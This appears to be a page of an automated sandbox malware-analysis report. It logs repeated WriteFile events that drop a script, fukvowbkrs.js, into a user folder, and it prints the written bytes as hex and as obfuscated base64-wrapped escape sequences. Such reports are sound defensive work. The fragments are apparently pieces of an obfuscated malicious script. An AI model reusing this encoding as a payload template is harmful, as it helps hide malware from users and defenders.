7a 56 63 65 44 5a 42 
58 48 67 32 4e 31 78 
34 4d 7a 

ceDc2XHg3QVx4N0FceD
Q2XHg0Q1x4N
DlceDYxXHg2NVx4NkZce
DY5XHg2Qlx
4MzZceDcwXHg2NFx4Mzl
ceDQ0XHgzN
Vx4NDNceDc1XHg3MVx4
M0VceDI1XHg
0MFx4NDmceDVBXHg2Nl
x4MzRceDQzX
Hg2OFx4NjlceDY4XHg3M
Vx4NTVceDN
FXHgyNVx4NDBceDMyX
Hg3QVx4NjRce
Dc4XHg1N1x4NzVceDcxX
Hg0NVx4NzV
ceDZBXHg2N1x4Mz

success or wait 6 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 4d 31 58 48 
67 33 4d 31 78 34 4d 
7a 52 63 65 44 5a 42 
58 48 67 32 4f 46 78 
34 4e 54 6d 63 65 44 
59 7a 58 48 67 33 51 
56 78 34 4e 54 4a 63 
65 44 51 7a 58 48 67 
7a 4d 46 78 34 4d 7a 
4a 63 65 44 55 31 58 
48 67 33 4d 46 78 34 
4e 6b 4a 63 65 44 59 
31 58 48 67 31 4e 56 
78 34 4e 44 5a 63 65 
44 52 42 58 48 67 31 
51 56 78 34 4e 44 4a 
63 65 44 51 35 58 48 
67 32 52 56 78 34 4e 
44 6c 63 65 44 51 30 
58 48 67 32 52 46 78 
34 4e 54 4e 63 65 44 
5a 46 58 48 67 30 52 
56 78 34 4e 6a 6c 63 
65 44 55 33 58 48 67 
32 51 31 78 34 4e 54 
4a 63 65 44 63 7a 58 
48 67 7a 4e 56 78 34 
4e 54 5a 63 65 44 5a 
45 58 48 67 31 4d 6c 
78 34 4e 6a 4a 63 65 
44 63 7a 58 48 67 33 
4d 46 78 34 4e 54 68 
63 65 44 55 35 58 48 
67 32 51 6c 78 34 4e 
7a 42 63 65 44 51 32 
58 48 67 32 51 6c 78 
34 4e 7a 

ceDM1XHg3M1x4MzRceD
ZBXHg2OFx4N
TmceDYzXHg3QVx4NTJc
eDQzXHgzMFx
4MzJceDU1XHg3MFx4Nk
JceDY1XHg1N
Vx4NDZceDRBXHg1QVx4
NDJceDQ5XHg
2RVx4NDlceDQ0XHg2RFx
4NTNceDZFX
Hg0RVx4NjlceDU3XHg2Q
1x4NTJceDc
zXHgzNVx4NTZceDZEXH
g1Mlx4NjJce
DczXHg3MFx4NThceDU5
XHg2Qlx4NzB
ceDQ2XHg2Qlx4Nz
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C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 51 79 58 48 
67 32 52 56 78 34 4e 
6a 68 63 65 44 4d 7a 
58 48 67 32 4f 56 78 
34 4d 7a 4a 63 65 44 
55 79 58 48 67 30 4e 
46 78 34 4e 54 42 63 
65 44 59 34 58 48 67 
32 52 56 78 34 4e 6b 
4e 63 65 44 4d 79 58 
48 67 30 51 31 78 34 
4e 6a 4e 63 65 44 4a 
43 58 48 67 31 4d 31 
78 34 4e 54 42 63 65 
44 51 79 58 48 67 33 
4e 6c 78 34 4e 6b 4e 
63 65 44 4d 79 58 48 
67 31 4d 6c 78 34 4e 
6b 46 63 65 44 55 77 
58 48 67 30 4e 46 78 
34 4e 7a 5a 63 65 44 
52 46 58 48 67 33 4d 
31 78 34 4e 6b 56 63 
65 44 51 33 58 48 67 
32 4d 31 78 34 4e 54 
52 63 65 44 55 77 58 
48 67 30 4e 46 78 34 
4e 7a 5a 63 65 44 51 
7a 58 48 67 33 4d 31 
78 34 4e 7a 68 63 65 
44 55 30 58 48 67 31 
4d 46 78 34 4e 7a 4a 
63 65 44 63 31 58 48 
67 31 4d 46 78 34 4e 
55 46 63 65 44 4d 35 
58 48 67 31 4e 46 78 
34 4e 7a 

ceDQyXHg2RVx4NjhceD
MzXHg2OVx4M
zJceDUyXHg0NFx4NTBce
DY4XHg2RVx
4NkNceDMyXHg0Q1x4Nj
NceDJCXHg1M
1x4NTBceDQyXHg3Nlx4N
kNceDMyXHg
1Mlx4NkFceDUwXHg0NFx
4NzZceDRFX
Hg3M1x4NkVceDQ3XHg2
M1x4NTRceDU
wXHg0NFx4NzZceDQzXH
g3M1x4Nzhce
DU0XHg1MFx4NzJceDc1
XHg1MFx4NUF
ceDM5XHg1NFx4Nz

success or wait 6 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 55 7a 58 48 
67 32 4f 46 78 34 4e 
6a 52 63 65 44 59 35 
58 48 67 31 4f 46 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4e 55 46 63 
65 44 59 33 58 48 67 
32 4f 46 78 34 4d 7a 
6d 63 65 44 51 79 58 
48 67 32 4e 31 78 34 
4e 44 6d 63 65 44 51 
79 58 48 67 30 4d 6c 
78 34 4d 7a 4a 63 65 
44 51 35 58 48 67 30 
51 56 78 34 4e 7a 6d 
63 65 44 51 32 58 48 
67 32 4d 31 78 34 4e 
44 6c 63 65 44 59 31 
58 48 67 32 4f 46 78 
34 4e 44 4a 63 65 44 
51 33 58 48 67 30 4e 
56 78 34 4e 45 46 63 
65 44 52 45 58 48 67 
30 4f 56 78 34 4e 6b 
5a 63 65 44 63 33 58 
48 67 32 4f 46 78 34 
4e 6b 46 63 65 44 51 
7a 58 48 67 31 4f 56 
78 34 4e 54 6c 63 65 
44 55 78 58 48 67 30 
51 56 78 34 4e 6a 68 
63 65 44 51 7a 58 48 
67 30 52 56 78 34 4e 
7a 46 63 65 44 52 45 
58 48 67 32 52 6c 78 
34 4e 55 

ceDUzXHg2OFx4NjRceDY
5XHg1OFx4M
0VceDI1XHg0MFx4NUFce
DY3XHg2OFx
4MzmceDQyXHg2N1x4ND
mceDQyXHg0M
lx4MzJceDQ5XHg0QVx4N
zmceDQ2XHg
2M1x4NDlceDY1XHg2OFx
4NDJceDQ3X
Hg0NVx4NEFceDREXHg0
OVx4NkZceDc
3XHg2OFx4NkFceDQzXH
g1OVx4NTlce
DUxXHg0QVx4NjhceDQz
XHg0RVx4NzF
ceDREXHg2Rlx4NU
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C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
6a 56 63 65 44 63 33 
58 48 67 33 4f 56 78 
34 4e 6a 6c 63 65 44 
51 79 58 48 67 33 4e 
31 78 34 4e 45 52 63 
65 44 4d 77 58 48 67 
32 51 6c 78 34 4e 6b 
4a 63 65 44 52 46 58 
48 67 32 4f 56 78 34 
4d 6b 4a 63 65 44 52 
44 58 48 67 31 4f 56 
78 34 4e 44 6d 63 65 
44 52 45 58 48 67 30 
4f 56 78 34 4e 44 6c 
63 65 44 55 78 58 48 
67 32 4f 46 78 34 4e 
7a 6d 63 65 44 59 79 
58 48 67 30 4e 56 78 
34 4e 7a 4e 63 65 44 
59 34 58 48 67 30 4e 
31 78 34 4e 6a 6d 63 
65 44 5a 46 58 48 67 
7a 4e 46 78 34 4e 54 
52 63 65 44 4d 30 58 
48 67 31 4e 46 78 34 
4e 44 5a 63 65 44 52 
43 58 48 67 30 4d 31 
78 34 4e 44 4e 63 65 
44 55 34 58 48 67 33 
4d 31 78 34 4e 6b 5a 
63 65 44 55 79 58 48 
67 33 4d 31 78 34 4e 
7a 42 63 65 44 5a 47 
58 48 67 31 4d 6c 78 
34 4e 7a 

ceDI1XHg0MFx4NjVceDc
3XHg3OVx4N
jlceDQyXHg3N1x4NERce
DMwXHg2Qlx
4NkJceDRFXHg2OVx4Mk
JceDRDXHg1O
Vx4NDmceDREXHg0OVx
4NDlceDUxXHg
2OFx4NzmceDYyXHg0NV
x4NzNceDY4X
Hg0N1x4NjmceDZFXHgzN
Fx4NTRceDM
0XHg1NFx4NDZceDRCXH
g0M1x4NDNce
DU4XHg3M1x4NkZceDUy
XHg3M1x4NzB
ceDZGXHg1Mlx4Nz

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 4d 79 58 48 
67 33 4d 46 78 34 4d 
7a 46 63 65 44 4d 79 
58 48 67 32 4f 46 78 
34 4e 7a 68 63 65 44 
52 46 58 48 67 7a 4e 
31 78 34 4e 54 4a 63 
65 44 59 78 58 48 67 
31 4d 46 78 34 4e 54 
68 63 65 44 55 30 58 
48 67 31 4d 31 78 34 
4d 7a 4e 63 65 44 4d 
32 58 48 67 31 4e 31 
78 34 4e 44 68 63 65 
44 55 31 58 48 67 33 
4f 56 78 34 4e 6b 4a 
63 65 44 56 42 58 48 
67 79 52 6c 78 34 4e 
44 4e 63 65 44 5a 46 
58 48 67 32 52 6c 78 
34 4d 7a 4a 63 65 44 
55 78 58 48 67 30 4e 
56 78 34 4e 7a 42 63 
65 44 5a 45 58 48 67 
7a 4d 56 78 34 4d 6b 
4a 63 65 44 63 78 58 
48 67 33 4d 56 78 34 
4d 7a 6d 63 65 44 51 
31 58 48 67 7a 4e 56 
78 34 4e 44 6c 63 65 
44 5a 43 58 48 67 33 
4e 31 78 34 4e 45 46 
63 65 44 4d 32 58 48 
67 30 4f 46 78 34 4d 
7a 5a 63 65 44 56 42 
58 48 67 32 51 31 78 
34 4e 44 

ceDMyXHg3MFx4MzFceD
MyXHg2OFx4N
zhceDRFXHgzN1x4NTJce
DYxXHg1MFx
4NThceDU0XHg1M1x4Mz
NceDM2XHg1N
1x4NDhceDU1XHg3OVx4
NkJceDVBXHg
yRlx4NDNceDZFXHg2Rlx
4MzJceDUxX
Hg0NVx4NzBceDZEXHgz
MVx4MkJceDc
xXHg3MVx4MzmceDQ1X
HgzNVx4NDlce
DZCXHg3N1x4NEFceDM2
XHg0OFx4MzZ
ceDVBXHg2Q1x4ND
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C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 63 35 58 48 
67 30 52 46 78 34 4e 
6a 68 63 65 44 55 30 
58 48 67 33 4d 46 78 
34 4e 44 4e 63 65 44 
63 35 58 48 67 31 4f 
56 78 34 4e 6b 46 63 
65 44 63 7a 58 48 67 
31 4e 31 78 34 4e 6a 
68 63 65 44 4d 7a 58 
48 67 32 52 56 78 34 
4d 7a 42 63 65 44 55 
7a 58 48 67 33 4d 56 
78 34 4e 44 52 63 65 
44 55 35 58 48 67 7a 
4d 6c 78 34 4e 44 68 
63 65 44 59 33 58 48 
67 30 51 56 78 34 4e 
6b 4e 63 65 44 51 32 
58 48 67 31 4d 6c 78 
34 4e 7a 4a 63 65 44 
63 30 58 48 67 32 51 
56 78 34 4e 54 4a 63 
65 44 63 35 58 48 67 
30 51 56 78 34 4e 44 
52 63 65 44 55 78 58 
48 67 7a 4d 46 78 34 
4e 44 6d 63 65 44 59 
33 58 48 67 33 4f 46 
78 34 4e 54 56 63 65 
44 55 77 58 48 67 32 
4f 46 78 34 4d 7a 4a 
63 65 44 51 34 58 48 
67 32 4f 46 78 34 4d 
7a 4e 63 65 44 52 47 
58 48 67 30 4e 6c 78 
34 4d 7a 

ceDc5XHg0RFx4NjhceDU
0XHg3MFx4N
DNceDc5XHg1OVx4NkFc
eDczXHg1N1x
4NjhceDMzXHg2RVx4Mz
BceDUzXHg3M
Vx4NDRceDU5XHgzMlx4
NDhceDY3XHg
0QVx4NkNceDQ2XHg1Ml
x4NzJceDc0X
Hg2QVx4NTJceDc5XHg0
QVx4NDRceDU
xXHgzMFx4NDmceDY3X
Hg3OFx4NTVce
DUwXHg2OFx4MzJceDQ4
XHg2OFx4MzN
ceDRGXHg0Nlx4Mz

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 4d 77 58 48 
67 32 4e 56 78 34 4e 
54 52 63 65 44 52 46 
58 48 67 33 4e 46 78 
34 4e 6b 4e 63 65 44 
63 77 58 48 67 7a 4e 
31 78 34 4e 54 46 63 
65 44 51 33 58 48 67 
33 4d 6c 78 34 4e 44 
68 63 65 44 55 35 58 
48 67 31 4e 56 78 34 
4e 54 42 63 65 44 55 
35 58 48 67 30 52 56 
78 34 4e 44 4a 63 65 
44 63 77 58 48 67 7a 
4f 56 78 34 4e 44 52 
63 65 44 59 7a 58 48 
67 30 4e 6c 78 34 4e 
6a 6d 63 65 44 5a 44 
58 48 67 31 4e 6c 78 
34 4e 6a 4e 63 65 44 
55 33 58 48 67 30 52 
6c 78 34 4d 6b 4a 63 
65 44 4d 78 58 48 67 
32 4e 56 78 34 4e 6b 
46 63 65 44 5a 42 58 
48 67 31 4d 6c 78 34 
4d 7a 52 63 65 44 63 
78 58 48 67 33 4e 6c 
78 34 4e 6a 68 63 65 
44 63 79 58 48 67 7a 
4f 56 78 34 4e 45 52 
63 65 44 59 78 58 48 
67 33 4e 31 78 34 4e 
6a 56 63 65 44 56 42 
58 48 67 31 4e 46 78 
34 4e 6a 

ceDMwXHg2NVx4NTRceD
RFXHg3NFx4N
kNceDcwXHgzN1x4NTFce
DQ3XHg3Mlx
4NDhceDU5XHg1NVx4NT
BceDU5XHg0R
Vx4NDJceDcwXHgzOVx4
NDRceDYzXHg
0Nlx4NjmceDZDXHg1Nlx4
NjNceDU3X
Hg0Rlx4MkJceDMxXHg2N
Vx4NkFceDZ
BXHg1Mlx4MzRceDcxXH
g3Nlx4Njhce
DcyXHgzOVx4NERceDYx
XHg3N1x4NjV
ceDVBXHg1NFx4Nj

success or wait 4 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 55 33 58 48 
67 32 4e 31 78 34 4e 
54 6d 63 65 44 52 47 
58 48 67 7a 4d 46 78 
34 4e 6a 46 63 65 44 
4d 31 58 48 67 33 4e 
56 78 34 4d 7a 68 63 
65 44 63 35 58 48 67 
30 51 56 78 34 4e 54 
5a 63 65 44 55 32 58 
48 67 33 4d 56 78 34 
4d 6b 4a 63 65 44 4a 
43 58 48 67 32 52 6c 
78 34 4e 6a 52 63 65 
44 55 30 58 48 67 31 
51 56 78 34 4d 7a 46 
63 65 44 4d 30 58 48 
67 30 4f 56 78 34 4d 
7a 46 63 65 44 55 77 
58 48 67 30 4e 56 78 
34 4e 6a 56 63 65 44 
6d 42 58 48 67 33 4e 
6c 78 34 4e 6a 68 63 
65 44 4d 78 58 48 67 
7a 4d 46 78 34 4e 44 
6c 63 65 44 5a 42 58 
48 67 32 52 6c 78 34 
4e 7a 6c 63 65 44 51 
31 58 48 67 32 52 6c 
78 34 4e 7a 5a 63 65 
44 51 30 58 48 67 30 
4d 6c 78 34 4d 7a 6c 
63 65 44 63 35 58 48 
67 31 4f 56 78 34 4e 
44 6d 63 65 44 51 31 
58 48 67 32 52 6c 78 
34 4e 45 

ceDU3XHg2N1x4NTmceD
RGXHgzMFx4N
jFceDM1XHg3NVx4Mzhce
Dc5XHg0QVx
4NTZceDU2XHg3MVx4Mk
JceDJCXHg2R
lx4NjRceDU0XHg1QVx4M
zFceDM0XHg
0OVx4MzFceDUwXHg0N
Vx4NjVceDmBX
Hg3Nlx4NjhceDMxXHgzM
Fx4NDlceDZ
BXHg2Rlx4NzlceDQ1XHg
2Rlx4NzZce
DQ0XHg0Mlx4MzlceDc5X
Hg1OVx4NDm
ceDQ1XHg2Rlx4NE

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 59 30 58 48 
67 32 4f 46 78 34 4e 
44 56 63 65 44 51 35 
58 48 67 32 52 6c 78 
34 4d 7a 6d 63 65 44 
55 79 58 48 67 33 4e 
56 78 34 4e 45 4a 63 
65 44 52 42 58 48 67 
31 4e 56 78 34 4e 45 
4e 63 65 44 55 35 58 
48 67 31 4d 46 78 34 
4e 54 4e 63 65 44 59 
31 58 48 67 32 51 56 
78 34 4d 7a 6c 63 65 
44 5a 47 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 32 4d 6c 78 34 4e 
44 6d 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
55 77 58 48 67 32 4f 
56 78 34 4e 44 5a 63 
65 44 55 79 58 48 67 
32 4e 56 78 34 4e 55 
46 63 65 44 56 42 58 
48 67 32 52 6c 78 34 
4e 54 42 63 65 44 4d 
79 58 48 67 32 4d 31 
78 34 4d 7a 4e 63 65 
44 63 32 58 48 67 30 
51 6c 78 34 4e 44 68 
63 65 44 59 31 58 48 
67 32 52 6c 78 34 4e 
7a 4e 63 65 44 4d 79 
58 48 67 7a 4d 31 78 
34 4e 54 

ceDY0XHg2OFx4NDVceD
Q5XHg2Rlx4M
zmceDUyXHg3NVx4NEJc
eDRBXHg1NVx
4NENceDU5XHg1MFx4NT
NceDY1XHg2Q
Vx4MzlceDZGXHgzRVx4
MjVceDQwXHg
2Mlx4NDmceDNFXHgyNV
x4NDBceDUwX
Hg2OVx4NDZceDUyXHg2
NVx4NUFceDV
BXHg2Rlx4NTBceDMyXH
g2M1x4MzNce
Dc2XHg0Qlx4NDhceDY1X
Hg2Rlx4NzN
ceDMyXHgzM1x4NT

success or wait 2 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 936 63 65 44 4d 30 58 48 
67 7a 4d 56 78 34 4e 
30 46 63 65 44 59 32 
58 48 67 31 4e 31 78 
34 4e 6a 5a 63 65 44 
55 30 58 48 67 31 4d 
46 78 34 4e 44 4a 63 
65 44 5a 47 58 48 67 
7a 4e 46 78 34 4d 6b 
4a 63 65 44 63 32 58 
48 67 7a 4d 56 78 34 
4d 7a 5a 63 65 44 59 
32 58 48 67 7a 4d 46 
78 34 4e 45 56 63 65 
44 51 32 58 48 67 32 
51 6c 78 34 4d 7a 6d 
63 65 44 4a 43 58 48 
67 33 4d 46 78 34 4d 
7a 4e 63 65 44 55 78 
58 48 67 7a 4e 46 78 
34 4e 54 4e 63 65 44 
52 43 58 48 67 32 52 
46 78 34 4e 44 6d 63 
65 44 52 42 58 48 67 
30 52 56 78 34 4e 6b 
4a 63 65 44 63 79 58 
48 67 33 4d 56 78 34 
4e 45 46 63 65 44 63 
78 58 48 67 31 4d 31 
78 34 4d 7a 4e 63 65 
44 6d 42 58 48 67 32 
52 56 78 34 4d 6b 5a 
63 65 44 6d 42 58 48 
67 30 4e 46 78 34 4e 
6a 4a 63 65 44 52 44 
58 48 67 32 51 6c 78 
34 4e 6a 

ceDM0XHgzMVx4N0FceD
Y2XHg1N1x4N
jZceDU0XHg1MFx4NDJce
DZGXHgzNFx
4MkJceDc2XHgzMVx4Mz
ZceDY2XHgzM
Fx4NEVceDQ2XHg2Qlx4
MzmceDJCXHg
3MFx4MzNceDUxXHgzNF
x4NTNceDRCX
Hg2RFx4NDmceDRBXHg0
RVx4NkJceDc
yXHg3MVx4NEFceDcxXH
g1M1x4MzNce
DmBXHg2RVx4MkZceDm
BXHg0NFx4NjJ
ceDRDXHg2Qlx4Nj

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 7a 4e 46 78 34 4e 44 
4e 63 65 44 4d 34 58 
48 67 32 51 31 78 34 
4e 6a 5a 63 65 44 63 
30 58 48 67 31 4d 31 
78 34 4e 7a 52 63 65 
44 63 35 58 48 67 32 
51 56 78 34 4d 7a 68 
63 65 44 51 7a 58 48 
67 32 4d 56 78 34 4d 
7a 68 63 65 44 55 78 
58 48 67 32 4e 46 78 
34 4d 6b 4a 63 65 44 
59 33 58 48 67 31 4d 
31 78 34 4e 45 46 63 
65 44 55 79 58 48 67 
30 4e 6c 78 34 4e 7a 
6c 63 65 44 51 30 58 
48 67 33 4d 56 78 34 
4e 7a 6c 63 65 44 5a 
44 58 48 67 7a 4f 46 
78 34 4e 54 46 63 65 
44 52 42 58 48 67 30 
4f 56 78 34 4e 54 56 
63 65 44 55 33 58 48 
67 30 4e 56 78 34 4d 
7a 52 63 65 44 59 31 
58 48 67 7a 4f 46 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4d 7a 68 63 
65 44 52 45 58 48 67 
31 4f 46 78 34 4e 7a 
6d 63 65 44 55 32 58 
48 67 33 4e 31 78 34 
4d 6b 5a 63 65 44 4d 
34 58 48 

zNFx4NDNceDM4XHg2Q1
x4NjZceDc0X
Hg1M1x4NzRceDc5XHg2
QVx4MzhceDQ
zXHg2MVx4MzhceDUxXH
g2NFx4MkJce
DY3XHg1M1x4NEFceDUy
XHg0Nlx4Nzl
ceDQ0XHg3MVx4NzlceDZ
DXHgzOFx4N
TFceDRBXHg0OVx4NTVc
eDU3XHg0NVx
4MzRceDY1XHgzOFx4M0
VceDI1XHg0M
Fx4MzhceDREXHg1OFx4
NzmceDU2XHg
3N1x4MkZceDM4XH
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C:\Users\user\fukvowbkrs.js unknown 1024 33 4d 6c 78 34 4d 7a 
68 63 65 44 52 46 58 
48 67 7a 4f 46 78 34 
4e 6a 56 63 65 44 52 
42 58 48 67 31 4d 31 
78 34 4e 6b 56 63 65 
44 5a 45 58 48 67 79 
52 6c 78 34 4e 54 46 
63 65 44 55 30 58 48 
67 30 4e 46 78 34 4e 
6b 4a 63 65 44 4d 78 
58 48 67 32 4d 56 78 
34 4e 7a 4a 63 65 44 
6d 42 58 48 67 32 4d 
56 78 34 4e 6b 5a 63 
65 44 4d 78 58 48 67 
7a 4e 56 78 34 4e 7a 
52 63 65 44 55 35 58 
48 67 32 4d 56 78 34 
4e 6a 4e 63 65 44 5a 
45 58 48 67 33 4e 56 
78 34 4e 45 46 63 65 
44 4a 43 58 48 67 31 
4d 31 78 34 4e 54 46 
63 65 44 55 32 58 48 
67 33 4d 56 78 34 4d 
6b 5a 63 65 44 52 46 
58 48 67 31 4e 6c 78 
34 4e 44 68 63 65 44 
55 34 58 48 67 32 52 
46 78 34 4e 44 6d 63 
65 44 52 46 58 48 67 
33 4e 6c 78 34 4e 44 
56 63 65 44 51 35 58 
48 67 30 51 56 78 34 
4e 30 46 63 65 44 51 
34 58 48 

3Mlx4MzhceDRFXHgzOFx
4NjVceDRBX
Hg1M1x4NkVceDZEXHgy
Rlx4NTFceDU
0XHg0NFx4NkJceDMxXH
g2MVx4NzJce
DmBXHg2MVx4NkZceDM
xXHgzNVx4NzR
ceDU5XHg2MVx4NjNceD
ZEXHg3NVx4N
EFceDJCXHg1M1x4NTFc
eDU2XHg3MVx
4MkZceDRFXHg1Nlx4NDh
ceDU4XHg2R
Fx4NDmceDRFXHg3Nlx4
NDVceDQ5XHg
0QVx4N0FceDQ4XH

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 32 4d 31 78 34 4e 54 
4e 63 65 44 63 30 58 
48 67 30 4e 56 78 34 
4e 45 5a 63 65 44 4d 
7a 58 48 67 79 51 6c 
78 34 4e 44 4e 63 65 
44 59 79 58 48 67 30 
4e 46 78 34 4e 44 6c 
63 65 44 56 42 58 48 
67 33 4d 46 78 34 4e 
7a 4e 63 65 44 5a 45 
58 48 67 30 51 31 78 
34 4d 7a 42 63 65 44 
4d 31 58 48 67 31 4d 
31 78 34 4e 45 4a 63 
65 44 51 30 58 48 67 
31 4e 56 78 34 4e 7a 
4a 63 65 44 4d 34 58 
48 67 33 4e 56 78 34 
4e 7a 42 63 65 44 59 
7a 58 48 67 31 4e 56 
78 34 4e 44 68 63 65 
44 55 32 58 48 67 30 
52 56 78 34 4e 6a 56 
63 65 44 52 45 58 48 
67 30 51 56 78 34 4e 
54 46 63 65 44 63 79 
58 48 67 31 4d 6c 78 
34 4e 6a 56 63 65 44 
55 33 58 48 67 30 4d 
6c 78 34 4e 6a 46 63 
65 44 59 32 58 48 67 
30 4f 56 78 34 4e 44 
68 63 65 44 5a 45 58 
48 67 79 52 6c 78 34 
4e 45 4a 63 65 44 55 
35 58 48 

2M1x4NTNceDc0XHg0NV
x4NEZceDMzX
HgyQlx4NDNceDYyXHg0
NFx4NDlceDV
BXHg3MFx4NzNceDZEX
Hg0Q1x4MzBce
DM1XHg1M1x4NEJceDQ0
XHg1NVx4NzJ
ceDM4XHg3NVx4NzBceD
YzXHg1NVx4N
DhceDU2XHg0RVx4NjVce
DREXHg0QVx
4NTFceDcyXHg1Mlx4NjVc
eDU3XHg0M
lx4NjFceDY2XHg0OVx4N
DhceDZEXHg
yRlx4NEJceDU5XH
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File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 150 of 706



C:\Users\user\fukvowbkrs.js unknown 1024 7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 31 4d 56 78 34 
4d 7a 68 63 65 44 52 
45 58 48 67 33 4f 56 
78 34 4e 7a 5a 63 65 
44 51 33 58 48 67 32 
4f 56 78 34 4e 45 4e 
63 65 44 4d 31 58 48 
67 30 4e 6c 78 34 4e 
54 4a 63 65 44 55 31 
58 48 67 31 4d 31 78 
34 4e 44 5a 63 65 44 
55 35 58 48 67 31 4f 
56 78 34 4e 44 68 63 
65 44 63 35 58 48 67 
30 4f 46 78 34 4e 7a 
46 63 65 44 51 79 58 
48 67 31 4d 31 78 34 
4d 7a 4a 63 65 44 55 
7a 58 48 67 31 4d 31 
78 34 4e 54 6d 63 65 
44 63 7a 58 48 67 33 
4d 56 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
7a 4a 63 65 44 59 33 
58 48 67 32 52 46 78 
34 4e 7a 4e 63 65 44 
52 43 58 48 67 31 4d 
31 78 34 4d 7a 6c 63 
65 44 52 44 58 48 67 
33 4f 56 78 34 4e 44 
6d 63 65 44 4d 77 58 
48 67 79 51 6c 78 34 
4e 54 46 63 65 44 5a 
45 58 48 

zRVx4MjVceDQwXHg1MV
x4MzhceDREX
Hg3OVx4NzZceDQ3XHg2
OVx4NENceDM
1XHg0Nlx4NTJceDU1XHg
1M1x4NDZce
DU5XHg1OVx4NDhceDc5
XHg0OFx4NzF
ceDQyXHg1M1x4MzJceD
UzXHg1M1x4N
TmceDczXHg3MVx4M0Vc
eDI1XHg0MFx
4NzJceDY3XHg2RFx4Nz
NceDRCXHg1M
1x4MzlceDRDXHg3OVx4
NDmceDMwXHg
yQlx4NTFceDZEXH

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 32 51 6c 78 34 4e 45 
4e 63 65 44 63 34 58 
48 67 79 52 6c 78 34 
4e 44 6c 63 65 44 63 
7a 58 48 67 7a 4e 56 
78 34 4d 7a 6c 63 65 
44 63 30 58 48 67 79 
51 6c 78 34 4e 6a 6c 
63 65 44 55 7a 58 48 
67 31 4e 46 78 34 4d 
7a 52 63 65 44 4d 7a 
58 48 67 30 51 31 78 
34 4e 45 4a 63 65 44 
51 30 58 48 67 31 4e 
46 78 34 4e 44 4a 63 
65 44 59 31 58 48 67 
30 4e 56 78 34 4e 44 
56 63 65 44 5a 44 58 
48 67 31 4e 46 78 34 
4e 6a 5a 63 65 44 52 
43 58 48 67 31 4d 31 
78 34 4d 7a 5a 63 65 
44 4d 77 58 48 67 7a 
4d 56 78 34 4d 7a 4a 
63 65 44 63 30 58 48 
67 33 4f 56 78 34 4e 
7a 42 63 65 44 51 34 
58 48 67 32 4e 31 78 
34 4e 7a 4e 63 65 44 
63 79 58 48 67 7a 4f 
46 78 34 4e 6a 52 63 
65 44 55 33 58 48 67 
31 4e 31 78 34 4e 44 
68 63 65 44 51 7a 58 
48 67 7a 4e 56 78 34 
4d 7a 52 63 65 44 4d 
33 58 48 

2Qlx4NENceDc4XHgyRlx4
NDlceDczX
HgzNVx4MzlceDc0XHgyQ
lx4NjlceDU
zXHg1NFx4MzRceDMzXH
g0Q1x4NEJce
DQ0XHg1NFx4NDJceDY1
XHg0NVx4NDV
ceDZDXHg1NFx4NjZceDR
CXHg1M1x4M
zZceDMwXHgzMVx4MzJc
eDc0XHg3OVx
4NzBceDQ4XHg2N1x4Nz
NceDcyXHgzO
Fx4NjRceDU3XHg1N1x4N
DhceDQzXHg
zNVx4MzRceDM3XH

success or wait 2 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 30 52 46 78 34 4e 44 
5a 63 65 44 4d 31 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 30 4e 56 
78 34 4e 6b 56 63 65 
44 5a 47 58 48 67 33 
4e 31 78 34 4e 54 4e 
63 65 44 4a 47 58 48 
67 32 4e 46 78 34 4d 
6b 4a 63 65 44 51 35 
58 48 67 30 52 46 78 
34 4e 7a 56 63 65 44 
55 33 58 48 67 31 4e 
31 78 34 4e 45 4e 63 
65 44 52 42 58 48 67 
30 52 6c 78 34 4d 30 
56 63 65 44 49 31 58 
48 67 30 4d 46 78 34 
4e 7a 46 63 65 44 63 
31 58 48 67 7a 4f 56 
78 34 4e 7a 52 63 65 
44 55 32 58 48 67 32 
4e 46 78 34 4e 54 6c 
63 65 44 59 7a 58 48 
67 7a 4d 46 78 34 4d 
7a 56 63 65 44 63 32 
58 48 67 31 4f 56 78 
34 4d 7a 4e 63 65 44 
63 30 58 48 67 32 4f 
46 78 34 4d 7a 56 63 
65 44 55 30 58 48 67 
32 51 56 78 34 4e 7a 
5a 63 65 44 55 33 58 
48 67 31 4f 56 78 34 
4e 44 4e 63 65 44 5a 
44 58 48 

0RFx4NDZceDM1XHgzRV
x4MjVceDQwX
Hg0NVx4NkVceDZGXHg3
N1x4NTNceDJ
GXHg2NFx4MkJceDQ5XH
g0RFx4NzVce
DU3XHg1N1x4NENceDRB
XHg0Rlx4M0V
ceDI1XHg0MFx4NzFceDc
1XHgzOVx4N
zRceDU2XHg2NFx4NTlce
DYzXHgzMFx
4MzVceDc2XHg1OVx4Mz
NceDc0XHg2O
Fx4MzVceDU0XHg2QVx4
NzZceDU3XHg
1OVx4NDNceDZDXH

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 7a 4e 56 78 34 4e 54 
42 63 65 44 51 79 58 
48 67 33 4d 6c 78 34 
4e 6b 52 63 65 44 5a 
